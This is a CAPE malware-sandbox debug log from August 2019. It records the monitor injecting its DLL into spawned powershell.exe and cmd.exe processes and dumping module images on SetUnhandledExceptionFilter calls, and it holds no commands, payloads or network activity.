2019-08-13 23:48:24,267 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:24,267 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2420_2042026424248514382019
2019-08-13 23:48:24,267 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:24,267 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,267 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:24,267 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:24,267 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:24,267 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2956
2019-08-13 23:48:24,267 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,282 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,282 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:24,282 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:24,282 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3048
2019-08-13 23:48:24,299 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:24,299 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:24,299 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:24,299 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:24,299 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:24,313 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:24,313 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2516
2019-08-13 23:48:24,329 [root] DEBUG: DLL unloaded from 0x72A60000.
2019-08-13 23:48:24,329 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:24,329 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:24,329 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,329 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:24,329 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:24,329 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:24,329 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:24,345 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:24,345 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:24,345 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000245000-0x0000000000250000
2019-08-13 23:48:24,345 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:24,345 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:24,361 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:24,361 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:24,361 [root] INFO: Added new process to list with pid: 2956
2019-08-13 23:48:24,361 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:24,361 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,361 [root] INFO: Monitor successfully loaded in process with pid 2956.
2019-08-13 23:48:24,361 [root] INFO: Announced 64-bit process name: cmd.exe pid: 3000
2019-08-13 23:48:24,361 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:24,377 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:24,377 [root] DEBUG: GetHookCallerBase: thread 2940 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:24,377 [root] DEBUG: Loader: Injecting process 2516 (thread 2740) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,377 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x00000000000E4000-0x00000000001E0000
2019-08-13 23:48:24,391 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:24,391 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:24,391 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:24,391 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:24,391 [root] INFO: Added new process to list with pid: 3048
2019-08-13 23:48:24,391 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:24,438 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:24,438 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:24,438 [root] INFO: Monitor successfully loaded in process with pid 3048.
2019-08-13 23:48:24,438 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:24,438 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,438 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:24,438 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:24,454 [root] DEBUG: GetHookCallerBase: thread 3044 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:24,532 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:24,532 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:24,548 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:24,548 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:24,611 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:24,611 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:24,611 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:24,611 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:24,611 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:24,625 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:24,625 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:24,625 [root] DEBUG: Loader: Injecting process 3000 (thread 2880) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,625 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:24,641 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,657 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:24,673 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2516
2019-08-13 23:48:24,673 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2956_1755817236248514382019
2019-08-13 23:48:24,673 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\3048_474065475248514382019
2019-08-13 23:48:24,673 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:24,673 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:24,688 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,703 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,703 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:24,703 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:24,703 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:24,703 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:24,720 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,720 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:24,720 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:24,720 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:24,720 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2320
2019-08-13 23:48:24,736 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:24,736 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,736 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:24,736 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,736 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:24,736 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3000
2019-08-13 23:48:24,736 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:24,736 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000265000-0x0000000000270000
2019-08-13 23:48:24,736 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:24,750 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:24,750 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:24,750 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:24,750 [root] INFO: Added new process to list with pid: 2516
2019-08-13 23:48:24,750 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:24,750 [root] DEBUG: DLL unloaded from 0x734E0000.
2019-08-13 23:48:24,766 [root] INFO: Monitor successfully loaded in process with pid 2516.
2019-08-13 23:48:24,766 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:24,766 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:24,766 [root] DEBUG: GetHookCallerBase: thread 2740 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:24,766 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:24,782 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:24,782 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:24,782 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:24,798 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:24,798 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:24,798 [root] DEBUG: Loader: Injecting process 2320 (thread 2448) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,798 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,798 [root] DEBUG: DLL loaded at 0x74730000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:24,798 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:24,798 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:24,798 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:24,813 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x00000000001D4000-0x00000000002D0000
2019-08-13 23:48:24,813 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2848
2019-08-13 23:48:24,813 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:24,813 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:24,828 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,828 [root] INFO: Added new process to list with pid: 3000
2019-08-13 23:48:24,828 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:24,828 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:24,828 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:24,845 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:24,845 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:24,845 [root] INFO: Monitor successfully loaded in process with pid 3000.
2019-08-13 23:48:24,845 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:24,845 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:24,859 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:24,859 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:24,859 [root] DEBUG: GetHookCallerBase: thread 2880 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:24,859 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:24,859 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:24,859 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:24,859 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2516_12975841248514382019
2019-08-13 23:48:24,891 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:24,891 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:24,891 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,891 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:24,891 [root] DEBUG: Loader: Injecting process 2848 (thread 2852) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,891 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:24,891 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2320
2019-08-13 23:48:24,907 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:24,907 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:24,907 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:24,907 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:24,907 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:24,923 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,923 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:24,923 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,937 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:24,937 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:24,937 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:24,937 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:24,953 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:24,953 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:24,953 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:24,953 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,953 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:24,970 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:24,970 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x00000000001D5000-0x00000000001E0000
2019-08-13 23:48:24,970 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\3000_464824368248514382019
2019-08-13 23:48:24,970 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,970 [root] INFO: Added new process to list with pid: 2320
2019-08-13 23:48:24,970 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:24,970 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:24,984 [root] INFO: Monitor successfully loaded in process with pid 2320.
2019-08-13 23:48:24,984 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2848
2019-08-13 23:48:24,984 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:24,984 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,984 [root] DEBUG: GetHookCallerBase: thread 2448 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:24,984 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:25,016 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:25,016 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:25,016 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:25,016 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:25,016 [root] DEBUG: DLL unloaded from 0x72A60000.
2019-08-13 23:48:25,016 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:25,032 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2492
2019-08-13 23:48:25,032 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:25,032 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:25,032 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:25,032 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:25,032 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:25,078 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:25,109 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:25,109 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:25,109 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:25,109 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:25,109 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:25,125 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:25,125 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x00000000001F4000-0x00000000002F0000
2019-08-13 23:48:25,125 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:25,141 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:25,141 [root] INFO: Added new process to list with pid: 2848
2019-08-13 23:48:25,157 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:25,157 [root] INFO: Monitor successfully loaded in process with pid 2848.
2019-08-13 23:48:25,157 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:25,157 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:25,157 [root] DEBUG: Loader: Injecting process 2492 (thread 2724) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:25,157 [root] DEBUG: GetHookCallerBase: thread 2852 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:25,157 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2320_2098540868258514382019
2019-08-13 23:48:25,219 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:25,219 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:25,219 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:25,219 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:25,234 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:25,234 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:25,234 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:25,234 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:25,234 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:25,250 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:25,282 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:25,282 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:25,282 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:25,296 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:25,296 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:25,296 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:25,296 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:25,296 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:25,312 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:25,312 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2492
2019-08-13 23:48:25,312 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:25,312 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:25,328 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:25,328 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:25,375 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2848_714438882258514382019
2019-08-13 23:48:25,375 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:25,391 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:25,391 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:25,391 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:25,405 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:25,421 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:25,421 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:25,421 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:25,437 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000216000-0x0000000000220000
2019-08-13 23:48:25,437 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
